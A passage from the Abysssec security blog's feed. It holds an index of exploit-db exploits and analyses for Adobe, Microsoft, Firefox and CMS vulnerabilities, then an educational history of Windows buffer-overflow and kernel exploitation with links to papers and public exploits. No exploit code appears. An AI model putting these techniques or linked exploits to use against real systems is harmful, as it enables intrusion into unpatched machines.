<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day22:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15076">MOAUB #22 &#8211; Adobe Shockwave Director tSAC Chunk Memory Corruption</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15077">MOAUB #22 &#8211; Adobe Shockwave Director tSAC Chunk Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15079">MOAUB #22 &#8211; gausCMS Multiple Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15078">MOAUB #22 &#8211; gausCMS Multiple Vulnerabilities</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day23:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15086">MOAUB #23 &#8211; Adobe Acrobat Reader and Flash &#8216;newfunction&#8217; Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15087">MOAUB #23 &#8211; Adobe Acrobat Reader and Flash &#8216;newfunction&#8217; Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15089">MOAUB #23 &#8211; Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15088">MOAUB #23 &#8211; Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day24:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15094">MOAUB #24 &#8211; Microsoft Excel OBJ Record Stack Overflow</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15095">MOAUB #24 &#8211; Microsoft Excel OBJ Record Stack Overflow</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15096">MOAUB #24 &#8211; Microsoft MPEG Layer-3 Audio Decoder Division By Zero</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15097">MOAUB #24 &#8211; Microsoft MPEG Layer-3 Audio Decoder Division By Zero</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>25</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15104">MOAUB #25 &#8211; Mozilla Firefox CSS font-face Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15105">MOAUB #25 &#8211; Mozilla Firefox CSS font-face Remote Code Execution Vulnerability</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15106">MOAUB #25 &#8211; VisualSite CMS v1.3 Multiple Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15107">MOAUB #25 &#8211; VisualSite CMS v1.3 Multiple Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>26</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15112">MOAUB #26 &#8211; Microsoft Cinepak Codec CVDecompress Heap Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15113">MOAUB #26 &#8211; Microsoft Cinepak Codec CVDecompress Heap Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15114">MOAUB #26 &#8211; Zenphoto Config Update and Command Execute Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15115">MOAUB #26 &#8211; Zenphoto Config Update and Command Execute Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>27</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15122">MOAUB #27 &#8211; Microsoft Internet Explorer MSHTML Findtext Processing Issue</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15123">MOAUB #27 &#8211; Microsoft Internet Explorer MSHTML Findtext Processing Issue</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15125">MOAUB #27 &#8211; ndCMS Sql Injection Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15124">MOAUB #27 &#8211; ndCMS Sql Injection Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>28</strong><strong>:</strong></p>
<p>0day:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15142">MOAUB #28 &#8211; JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15141">MOAUB #28 &#8211; JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15139">MOAUB #28 &#8211; AtomatiCMS Upload Arbitrary File Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15140">MOAUB #28 &#8211; AtomatiCMS Upload Arbitrary File Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day29:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15149">MOAUB #29 &#8211; Microsoft Excel SxView Record Parsing Heap Memory Corruption</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15148">MOAUB #29 &#8211; Microsoft Excel SxView Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><strong> </strong></p>
<p><strong>Day30:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15158">MOAUB #30 &#8211; Microsoft Unicode Scripts Processor Remote Code Execution</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15159">MOAUB #30 &#8211; Microsoft Unicode Scripts Processor Remote Code Execution</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15160">MOAUB #30 &#8211; ASPMass Shopping Cart Vulnerability File Upload CSRF</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15161">MOAUB #30 &#8211; ASPMass Shopping Cart Vulnerability File Upload CSRF</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Press :</p>
<div id="_mcePaste"><a title="Exploit-Database" href="http://www.exploit-db.com/moaub-0days-binary-analysis-exploit-pocs/" target="_blank">Exploit-Database</a></div>
<div id="_mcePaste"><a title="Dark-Reading" href="http://www.darkreading.com/vulnerability_management/security/vulnerabilities/showArticle.jhtml?articleID=227300290" target="_blank">Dark-Reading</a></div>
<div id="_mcePaste"><a title="Network-Asia" href="http://security.networksasia.net/content/abysssec-outs-linux-vulnerability" target="_blank">NetworkAsia</a></div>
<div id="_mcePaste"><a title="ITBusinessedge" href="http://www.itbusinessedge.com/cm/blogs/poremba/get-out-the-bug-spray-september-is-the-month-of-bugs" target="_blank">ITBusinessedge</a></div>
<div id="_mcePaste"><a title="ComputerWorld" href="http://www.computerworld.com/s/article/9182999/Researchers_slate_month_of_bugs_launch_for_Wednesday" target="_blank">ComputerWorld</a></div>
<div id="_mcePaste"><a title="Theinquirer" href="http://www.theinquirer.net/inquirer/news/1730813/researchers-launch-bug-hunt?WT.rss_f=Home&amp;WT.rss_a=Researchers+launch+a+bug+hunt" target="_blank">Theinquirer</a></div>
<div>And &#8230;</div>
<div>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
</div>
<p>PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.</p>
<p style="text-align: left;">at end we are happy with result and your kind feedback.</p>
<p style="text-align: left;">for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .</p>
<p style="text-align: left;">please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .</p>
<p style="text-align: left;">as always finally if you have any question feel free to contact :</p>
<p>shahin [at] abysssec.com</p>
<p style="text-align: left;">info [at] abysssec.com</p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/09/01/moaub-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Past, Present, Future of Windows Exploitation</title>
		<link>http://www.abysssec.com/blog/2010/05/08/past-present-future-of-windows-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2010/05/08/past-present-future-of-windows-exploitation/#comments</comments>
		<pubDate>Fri, 07 May 2010 19:33:10 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[alex]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[dave]]></category>
		<category><![CDATA[david]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[gs]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[mark]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[moore]]></category>
		<category><![CDATA[NX]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[pool]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[safeseh]]></category>
		<category><![CDATA[sotirov]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1081</guid>
		<description><![CDATA[hi all this is v0.1 of this post and in this post i&#8217;m going to have a review and brief history on exploitation with focus on windows . this post will be  done III part : part I     : brief history of buffer overflow part II   : history of windows exploitation from windows 2000 to [...]]]></description>
			<content:encoded><![CDATA[<p>hi all</p>
<p>this is v0.1 of this post and in this post i&#8217;m going to have a review and brief history on exploitation with focus on windows .</p>
<p>this post will be  done III part :</p>
<ul>
<li>part I     : brief history of buffer overflow</li>
<li>part II   : history of windows exploitation from windows 2000 to windows 7</li>
<li>part III : feature of exploitation</li>
</ul>
<h2 style="text-align: center;"><strong>Part I  : brief history of buffer overflow</strong></h2>
<p><strong><span style="color: #ff00ff;">Starring : Robert morris , Aleph_one , Solar designer , Matt Conover , Casper Dik</span></strong></p>
<p>it&#8217;s been long time after :</p>
<p>morris worm in 1988 (first known computer worm that used a buffer overflow to attack)</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/robert_morris_worm_author.jpg"><img class="aligncenter size-medium wp-image-1086" title="robert_morris_worm_author" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/robert_morris_worm_author-300x282.jpg" alt="" width="240" height="226" /></a></p>
<p>aleph one wrote Smashing The Stack For Fun Profit in phrack 49 in ~1996<br />
<a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png"></a></p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png"><img class="aligncenter size-full wp-image-1088" title="aleph-one" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png" alt="" width="169" height="280" /></a></p>
<p>so he start taking about detailed strcpy exploitation :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/5-7-2010-1-59-49-PM.png"><img class="aligncenter size-full wp-image-1108" title="5-7-2010 1-59-49 PM" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/5-7-2010-1-59-49-PM.png" alt="" width="243" height="269" /></a></p>
<p>Matt Conover wrote first detailed heap overflow tutorial in 1999 <a href="http://www.w00w00.org/files/articles/heaptut.txt" target="_blank">heap tut</a></p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg"><img class="aligncenter size-full wp-image-1090" title="matt conover" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg" alt="" width="106" height="119" /></a>and solar designer wrote first generic heap exploit on windows <a href="http://www.openwall.com/advisories/OW-002-netscape-jpeg/" target="_blank">netscape exploit</a></p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/Solar-Designer.jpg"><img class="aligncenter size-full wp-image-1091" title="Solar Designer" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/Solar-Designer.jpg" alt="" width="240" height="224" /></a></p>
<p>==============================================<br />
at that times because of really low OS memory protections and also low application specific protections (can also called CPU and compilers problem !) , a poor input validation and an insecure memory copy was enough to corrupting memory (mostly in stack area) and overwriting  a function return address and getting control of instruction pointer (IP , EIP) and then by storing malicious code (called shellcode) and using a pointer (mostly stack pointer (ESP)) execution flow can be change and pointer to attacker malicious (or educational ;) )  code.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/nopsled.png"><img class="aligncenter size-medium wp-image-1093" title="nopsled" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/nopsled-120x300.png" alt="" width="120" height="300" /></a></p>
<p>so OS developers and security guys had to think about memory protections and casper dik in nov 1996 wrote a kernel run-time patch to implement non-executable-stacks for Solaris 2.4 to 2.5.1 <a href="http://seclists.org/bugtraq/1996/Nov/57" target="_blank">http://seclists.org/bugtraq/1996/Nov/57</a></p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/4-30-2010-11-22-40-PM.png"><img class="aligncenter size-medium wp-image-1096" title="Casper" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/4-30-2010-11-22-40-PM-300x291.png" alt="" width="240" height="233" /></a></p>
<p>and later solar designer released same thing to remove executable permission for stack on the linux <a href="http://marc.info/?m=87602167420762" target="_blank">here</a></p>
<p>and around ~2000 solar designer made <strong>return-to-libc</strong> attacks to return in executable page and functions in memory for bypassing non-executable memory. the basic idea was  after controlling executing flow return to some function like system() and executing a single command or &#8230;. but there was a problem and the attacker was limit in payload selection and can&#8217;t use advanced payloads .</p>
<p>so around ~2000 we had :</p>
<ul>
<li>basic / intermediate stack overflows</li>
<li>basic heap overflows</li>
<li>basic / intermediate format strings (killed so soon !)</li>
<li>basic memory protections</li>
<li>basic bypass memory protections</li>
<li>also some other type of memory corruptions (not so general)</li>
</ul>
<p>=========================================</p>
<h2 style="text-align: center;"><strong>part II  : history of windows exploitation from windows 2000 to windows 7</strong></h2>
<p><strong><strong><span style="color: #ff00ff;">Starring : Alexander Sotirov , Mark Dowd , John McDonald, Chris Valasek , Chris Anley , Brett Moore , David litchfield , Nicolas Waisman , Dave Aitel , Halvar Flake ,  Cesar Cerrudo </span><span style="font-weight: normal;"><span style="color: #ff00ff;">, </span><strong><span style="color: #ff00ff;">Matt Miller , ken johnson , S.K Chong ,  Dionysus Blazakis  , hd moore , FlashSky , Ruben Santamarta .</span></strong></span></strong></strong></p>
<p>welcome to windows world !</p>
<p>i wanna start from windows 2000  final version of NT family because i think older windows are not interesting enough to talk about .</p>
<p style="text-align: left;"><strong><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/win2000.jpg"><img class="aligncenter size-medium wp-image-1103" title="win2000" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/win2000-300x209.jpg" alt="" width="210" height="146" /></a>exploit developers golden age :<span style="font-weight: normal;"> microsoft was is supporting and making money from windows 2k and unfortunately forgot  protect you from buffer overflow attacks . so old and classic attacks works like a charm and just  maybe in some case  we saw very complex  and smart vulnerabilities but exploitation by itself was not that hard (maybe just some application specific filters / protections ) </span></strong></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;">so because of that poor protection we saw great worms like : </span></strong></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;"><a href="http://en.wikipedia.org/wiki/Blaster_(computer_worm)" target="_blank">blaster worm</a> one of historic worms ever that used a RPC vuln for attack and fixed in <a href="http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx">http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx</a> </span></strong></p>
<p style="text-align: left;">and maybe you can remember : &#8220;<em>billy gates why do you make this possible ? Stop making money</em> <em>and fix your software!! &#8220;</em></p>
<p style="text-align: left;"><em>and this cool picture :</em></p>
<p style="text-align: left;"><em><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Windows_XP_Emergency_Shutdown.png"><img class="aligncenter size-full wp-image-1104" title="Windows_XP_Emergency_Shutdown" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Windows_XP_Emergency_Shutdown.png" alt="" width="282" height="258" /></a><br />
</em></p>
<p style="text-align: left;"><a href="http://en.wikipedia.org/wiki/SQL_Slammer" target="_blank">slammer worm</a> a great and fast worm that used an SQL Server buffer overflow for attack. that fixed after 6 month !!! in :</p>
<p style="text-align: left;"><a href="http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx">http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx</a></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;"><a href="http://en.wikipedia.org/wiki/Sasser_(computer_worm)" target="_blank">sasser worm</a> another great worm that used lsass remote overflow vulnerability and fixed in: <a href="http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx">http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx</a></span></strong></p>
<p style="text-align: left;">but there is a question these worms targeted windows XP and 2003 as well too ? yes !</p>
<p style="text-align: left;">because microsoft did  that great job in windows XP service pack 0 and 1 as well as windows 2003 service pack 0.</p>
<p style="text-align: left;">also we had lots of great and reliable exploits like :</p>
<p style="text-align: left;">DCOM RCP Exploit  <a href="http://www.exploit-db.com/exploits/103" target="_blank">here</a> by flashsky (xfocus guy)</p>
<p style="text-align: left;">MS Windows (RPC DCOM) Remote Exploit <a href=" http://www.exploit-db.com/exploits/66" target="_blank">here</a> by hd moore</p>
<p style="text-align: left;">Great Kill Bill exploit <a href="http://www.phreedom.org/solar/exploits/msasn1-bitstring/" target="_blank">here</a> (targeting ANS.1) by Alexander Sotirov</p>
<p style="text-align: left;">MS Windows Plug-and-Play <a href="http://www.exploit-db.com/exploits/1149" target="_blank">here</a> by sl0ppy and houseofdabus and others .</p>
<p style="text-align: left;">also some GUI tools for easy exploitation for those even don&#8217;t know how they can compile and run an exploit like : <a href="http://www.leetupload.com/dbindex2/index.php?dir=Local%20Root%20Exploits/RPC%20GUI%20v2%20-%20r3L4x/&amp;file=RPC%20GUI%20v2%20-%20r3L4x.exe">RPC GUI v2 &#8211; r3L4x.exe</a></p>
<p style="text-align: left;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/connect2.gif"><img class="aligncenter size-medium wp-image-1107" title="connect2" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/connect2-300x246.gif" alt="" width="300" height="246" /></a></p>
<p style="text-align: left;">but why we had lots of juicy and clicky &#8211; clicky exploits ? there is two main reasons :</p>
<p style="text-align: left;">1- poor generic OS / application layer  memory protection</p>
<p style="text-align: left;">2- cool generic public memory exploitation related researches</p>
<p style="text-align: left;">
<h3><strong>classic windows stack overflows </strong></h3>
<p style="text-align: left;">lots of great and detailed papers in this area i just wanna link a few of them :</p>
<p>1- Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit in 1999</p>
<p><a href="http://www.phrack.com/issues.html?issue=55&amp;id=15#article">http://www.phrack.com/issues.html?issue=55&amp;id=15#article</a></p>
<p style="text-align: left;">2- S.K Chong Win32 Stack Based Buffer Overflow Walkthrough  in july 2002</p>
<p style="text-align: left;"><a href="http://www.scan-associates.net/papers/win32_bo_walkthrough.txt">http://www.scan-associates.net/papers/win32_bo_walkthrough.txt</a></p>
<p style="text-align: left;">3- Nish Bhalla&#8217;s series on  Writing Stack Based Overflows on Windows in 2005</p>
<p style="text-align: left;"><a href="http://www.packetstormsecurity.org/papers/win/">http://www.packetstormsecurity.org/papers/win/</a></p>
<p style="text-align: left;">if i want to have brief description of them they all are talking about finding a reliable return address in  a reliable Dynamic Linked Library (MOST in OS DLL&#8217;s kernel32.dll ntdll.dll shell32.dll user32.dll and &#8230; ) and then after overwriting a function return address by sending big value to not good checked input variable and getting program execution flow redirect that flow to address in DLL that address is mostly JMP / call /  PUSH ESP (stack pointer)  or EBP (base pointer) because most of time in classic stack overflow attacker store her / his malicious code in the stack and a JMP / CALL / PUSH ESP RET will lead his / her to jump to start of shellcode .thats all!</p>
<h3><strong>classic windows heap overflows</strong></h3>
<p>1 &#8211;  Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002</p>
<p><a href="http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt" target="_blank">http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt</a></p>
<p>2- Exploiting the MSRPC Heap Overflow two part by Dave Aitel (MS03-026) sep 2003</p>
<p><a href="http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf" target="_blank">http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf</a></p>
<p><a href="http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf" target="_blank">http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf</a></p>
<p>3- david litchfield did a great detailed penetration in black hat 2004</p>
<p><a href="https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt" target="_blank">https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt</a></p>
<p>if i want to have brief description of them they all are talking about exploiting unlink macro and using write4 (where + what) and actually ability of writing 4byte (32bit ) of selected address in memory by using specific function pointers like :</p>
<ul>
<li><strong>UnhandledExceptionFilter</strong></li>
<li><strong>VectoredExceptionHandling</strong></li>
<li><strong>RtlEnterCriticalSection</strong></li>
<li><strong>TEB      Exception Handler</strong></li>
<li><strong>Application specific function      pointer</strong></li>
</ul>
<p>&#8230;..</p>
<h3><strong>kernel based Windows overflows (not so classic)</strong></h3>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p>because of <strong>Inexorability</strong> of  this type of attacks i want to share all of most notable history in this area here : (note that  i will back to heap and stack with protections after in it)</p>
<p>=================</p>
<p>First noticeable whitepaper that stated how to attack kernel based vulns on</p>
<p>windows was done by a Polish group called &#8220;sec-labs&#8221; around 2003 .</p>
<p><a href="http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html" target="_blank">http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html</a></p>
<p>sec-lab old whitepaper : <a href="http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm" target="_blank">http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm</a></p>
<p>sec-lab old exploit : <a href="http://www.securityfocus.com/bid/8329/info" target="_blank">http://www.securityfocus.com/bid/8329/info</a></p>
<p>(thanks Piotr Bania !)</p>
<p>1- Windows Local Kernel Exploitation by S.K Chong in 2004 (based on sec-lab research)</p>
<p><a href="http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf">http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf</a></p>
<p><a href="http://www.scan-associates.net/papers/navx.c" target="_blank">http://www.scan-associates.net/papers/navx.c</a></p>
<p>2-Windows interrupt context kernel overflow exploit BY FLASHSKY in 2004</p>
<p>3- How to exploit Windows kernel memory pool in 2005 by SoBeIt</p>
<p><a href="http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf" target="_blank">http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf</a></p>
<p>4- in 2005 eeye security published great paper about exploiting remote kernel overflows in windows</p>
<p><a href="http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf" target="_blank">http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf</a></p>
<p>5- later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed</p>
<p><a href="http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf</a></p>
<p>6- in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows</p>
<p><a href="http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf</a></p>
<p>7- in 2007 Jonathan Lindsay published and did a presentation in BH US 2007 called Attacking the Windows Kernel</p>
<p><a href="https://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf">http://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf</a></p>
<p>8- same in  BH US 2007 Yuriy Bulygin did a peresentiation called Remote and Local Exploitation of Network Drivers</p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf" target="_blank">http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf</a></p>
<p>9- in 2007 also Ruben Santamarta wrote Exploiting Comon Flaws In Drivers</p>
<p><a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1" target="_blank">http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1</a></p>
<p>10- in 2008 Justin Seitz  wrote a paper and called I2OMGMT Driver Impersonation Attack</p>
<p><a href="http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf" target="_blank">http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf</a></p>
<p>in that paper Justin  talked about new type of kernel attacks and about i2OMGMT bug that founded by ruben.</p>
<p>11- later in 2008 Kostya Kortchinsky did a presentation called Real World Kernel Pool Exploitation</p>
<p><a href="http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf" target="_blank">http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf</a></p>
<p>in that presentation kostya  talked about how he wrote exploit for ms08-001 (Microsoft marked it as not-exploitable !)</p>
<p>12- later in 2008 Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8</p>
<ul>
<li>artice :</li>
<li><a href="http://www.argeniss.com/research/TokenKidnapping.pdf" target="_blank">http://www.argeniss.com/research/TokenKidnapping.pdf</a></li>
<li>poc 2k3:</li>
<li><a href="http://www.argeniss.com/research/Churrasco.zip" target="_blank">http://www.argeniss.com/research/Churrasco.zip</a></li>
<li>poc 2k8:</li>
